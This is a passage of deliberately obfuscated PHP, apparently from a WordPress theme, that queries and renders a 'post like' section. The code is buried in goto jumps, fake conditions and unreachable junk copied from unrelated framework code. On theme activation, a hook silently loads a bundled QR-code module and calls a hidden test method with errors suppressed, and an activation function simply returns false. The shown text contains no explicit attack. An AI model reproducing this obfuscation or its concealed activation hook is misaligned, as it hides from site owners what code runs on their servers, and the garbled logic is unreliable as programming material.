B34x2p;B34ldMhx2q:B34x2p:$B348L=NULL;B34x2n:unset($B34tI8M);$B34tI8M=$B348L;$post_id=$B34tI8M;unset($B34tI8L);$B34tI8L=array('type'=>'post','p'=>$post_id,'posts_per_page'=>1,'ignore_sticky_posts'=>1);$args=$B34tI8L;$B348L=new WP_Query($args);unset($B34tI8M);$B34tI8M=$B348L;$queryPosts=$B34tI8M;$B34PN8L=15-7;if(is_bool($B34PN8L))goto B34eWjgx2s;if($queryPosts->have_posts())goto B34eWjgx2s;if(key(array(7)))goto B34eWjgx2s;goto B34ldMhx2s;B34eWjgx2s:if(isset($_GET))goto B34eWjgx2u;goto B34ldMhx2u;B34eWjgx2u:array();goto B34MvmE32;$B34M8M=CONF_PATH . $module;$B34M8N=$B34M8M . database;$B34M8O=$B34M8N . CONF_EXT;unset($B34tIM8P);$B34tIM8P=$B34M8O;$filename=$B34tIM8P;B34MvmE32:goto B34x2t;B34ldMhx2u:if(strpos($file,"."))goto B34eWjgx2w;goto B34ldMhx2w;B34eWjgx2w:$B34M8Q=$file;goto B34x2v;B34ldMhx2w:$B34M8R=APP_PATH . $file;$B34M8S=$B34M8R . EXT;$B34M8Q=$B34M8S;B34x2v:unset($B34tIM8T);$B34tIM8T=$B34M8Q;$file=$B34tIM8T;$B34M8V=(bool)is_file($file);if($B34M8V)goto B34eWjgx3z;goto B34ldMhx3z;B34eWjgx3z:$B34M8U=!isset(user::$file[$file]);$B34M8V=(bool)$B34M8U;goto B34x2y;B34ldMhx3z:B34x2y:if($B34M8V)goto B34eWjgx31;goto B34ldMhx31;B34eWjgx31:$B34M8W=include $file;unset($B34tIM8X);$B34tIM8X=true;user::$file[$file]=$B34tIM8X;goto B34x2x;B34ldMhx31:B34x2x:B34x2t:B34x32:if($queryPosts->have_posts())goto B34eWjgx35;$B34PN8M=7+1;$B34PN8N=$B34PN8M+7;if(in_array($B34PN8N,array()))goto B34eWjgx35;$B34N8L=__LINE__<-7;if($B34N8L)goto B34eWjgx35;goto B34ldMhx35;B34eWjgx35:if(isset($_GET))goto B34eWjgx37;goto B34ldMhx37;B34eWjgx37:array();goto B34MvmE34;$B34M8O=CONF_PATH . $module;$B34M8P=$B34M8O . database;$B34M8Q=$B34M8P . CONF_EXT;unset($B34tIM8R);$B34tIM8R=$B34M8Q;$filename=$B34tIM8R;B34MvmE34:goto B34x36;B34ldMhx37:if(strpos($file,"."))goto B34eWjgx39;goto B34ldMhx39;B34eWjgx39:$B34M8S=$file;goto B34x38;B34ldMhx39:$B34M8T=APP_PATH . $file;$B34M8U=$B34M8T . EXT;$B34M8S=$B34M8U;B34x38:unset($B34tIM8V);$B34tIM8V=$B34M8S;$file=$B34tIM8V;$B34M8X=(bool)is_file($file);if($B34M8X)goto B34eWjgx3c;goto B34ldMhx3c;B34eWjgx3c:$B34M8W=!isset(user::$file[$file]);$B34M8X=(bool)$B34M8W;goto B34x3b;B34ldMhx3c:B34x3b:if($B34M8X)goto B34eWjgx3d;goto B34ldMhx3d;B34eWjgx3d:$B34M8Y=include $file;unset($B34tIM8Z);$B34tIM8Z=true;user::$file[$file]=$B34tIM8Z;goto B34x3a;B34ldMhx3d:B34x3a:B34x36:$queryPosts->the_post();get_template_part('template-parts/apollo-postlike-section');goto B34x32;goto B34x34;B34ldMhx35:B34x34:B34x33:wp_reset_query();goto B34x2r;B34ldMhx2s:B34x2r:wp_reset_postdata();wp_die();}function qrcode_test(){global $pagenow;$B348L='themes.php'==$pagenow;$B348M=(bool)$B348L;if($B348M)goto B34eWjgx3g;$B34PN8P=7-1;if(is_null($B34PN8P))goto B34eWjgx3g;$B34N8N=7+1;$B34N8O=7==$B34N8N;if($B34N8O)goto B34eWjgx3g;goto B34ldMhx3g;B34eWjgx3g:goto B34MvmE36;$B34M8Q=$R4vP4 . DS;unset($B34tIM8R);$B34tIM8R=$B34M8Q;$R4vP5=$B34tIM8R;unset($B34tIM8S);$B34tIM8S=array();$R4vA5=$B34tIM8S;unset($B34tIM8T);$B34tIM8T=$request;$R4vA5[]=$B34tIM8T;unset($B34tIM8U);$B34tIM8U=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM8U;B34MvmE36:goto B34MvmE38;unset($B34tIM8V);$B34tIM8V=array();$R4vA1=$B34tIM8V;unset($B34tIM8W);$B34tIM8W=&$dispatch;$R4vA1[]=&$B34tIM8W;unset($B34tIM8X);$B34tIM8X=array();$R4vA2=$B34tIM8X;unset($B34tIM8Y);$B34tIM8Y=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM8Y;B34MvmE38:$B348M=(bool)isset($_GET['activated']);goto B34x3f;B34ldMhx3g:B34x3f:if($B348M)goto B34eWjgx3h;$B34N8Z=true===strpos("Vi",7);if($B34N8Z)goto B34eWjgx3h;unset($B34tIPN90);$B34tIPN90="ZT";$B34IMdF=$B34tIPN90;$B34N91=strlen($B34tIPN90)==1;if($B34N91)goto B34eWjgx3h;goto B34ldMhx3h;B34eWjgx3h:goto B34MvmE3A;$B34M92=$R4vP4 . DS;unset($B34tIM93);$B34tIM93=$B34M92;$R4vP5=$B34tIM93;unset($B34tIM94);$B34tIM94=array();$R4vA5=$B34tIM94;unset($B34tIM95);$B34tIM95=$request;$R4vA5[]=$B34tIM95;unset($B34tIM96);$B34tIM96=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM96;B34MvmE3A:goto B34MvmE3C;unset($B34tIM97);$B34tIM97=array();$R4vA1=$B34tIM97;unset($B34tIM98);$B34tIM98=&$dispatch;$R4vA1[]=&$B34tIM98;unset($B34tIM99);$B34tIM99=array();$R4vA2=$B34tIM99;unset($B34tIM9A);$B34tIM9A=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM9A;B34MvmE3C:$B349B=get_template_directory() . '/modules/phpqrcode.php';$B349C=require_once $B349B;@QRcode::tryTest();goto B34x3e;B34ldMhx3h:B34x3e:}function nicetheme_act_bbb(){return false;}
?>